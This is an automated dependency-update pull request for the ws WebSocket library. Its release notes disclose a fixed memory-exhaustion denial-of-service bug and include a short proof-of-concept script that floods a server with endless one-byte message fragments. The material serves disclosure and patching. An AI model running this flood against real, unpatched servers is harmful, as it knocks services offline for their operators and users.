Update ws 8.20.1 → 8.21.0 (minor)

[depfu]

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ ws (8.20.1 → 8.21.0) · Repo

Release Notes

8.21.0

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {

const data = Buffer.alloc(1);

const options = { fin: false };

const { port } = wss.address();

const ws = new WebSocket(ws://localhost:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">port</span><span class="pl-kos">}</span></span>);
ws.on('open', function () {

(function send() {

ws.send(data, options, function (err) {

if (err) return;

send();

});

})();

});
ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(client close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});
wss.on('connection', function (ws) {

ws.on('error', console.error);

ws.on('close', function (code, reason) {

console.log(server close - code: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">code</span><span class="pl-kos">}</span></span> reason: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">reason</span><span class="pl-kos">.</span><span class="pl-en">toString</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">}</span></span>);

});

});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 3 commits:

• [dist] 8.21.0
• [security] Limit retained message parts
• [security] Add latest vulnerability to SECURITY.md

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